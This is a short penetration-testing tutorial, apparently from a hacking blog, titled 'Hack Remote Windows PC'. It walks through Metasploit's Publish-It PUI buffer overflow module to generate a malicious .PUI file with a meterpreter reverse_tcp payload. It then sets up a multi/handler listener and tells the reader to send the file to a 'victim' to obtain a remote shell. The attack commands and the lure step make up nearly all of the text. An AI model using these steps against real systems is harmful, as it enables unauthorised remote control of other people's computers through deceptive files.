Kali Linux, Penetration Testing

Hack Remote Windows PC using Publish-It PUI Buffer Overflow (SEH)

This module exploits a stack based buffer overflow in Publish-It when processing a specially crafted .PUI file. This vulnerability could be exploited by a remote attacker to execute arbitrary code on the target machine by enticing a user of Publish-It to open a malicious .PUI file.

Exploit Targets



Attacker: kali Linux

Victim PC: Windows 7

Open Kali terminal type msfconsole

Now type use exploit/windows/fileformat/publishit_pui

msf exploit (publishit_pui)>set payload windows/meterpreter/reverse_tcp

msf exploit (publishit_pui)>set lhost (IP of Local Host)

msf exploit (publishit_pui)>exploit  

After we successfully generate the malicious pui File, it will stored on your local computer


Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost


Now send your msf.pui files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer
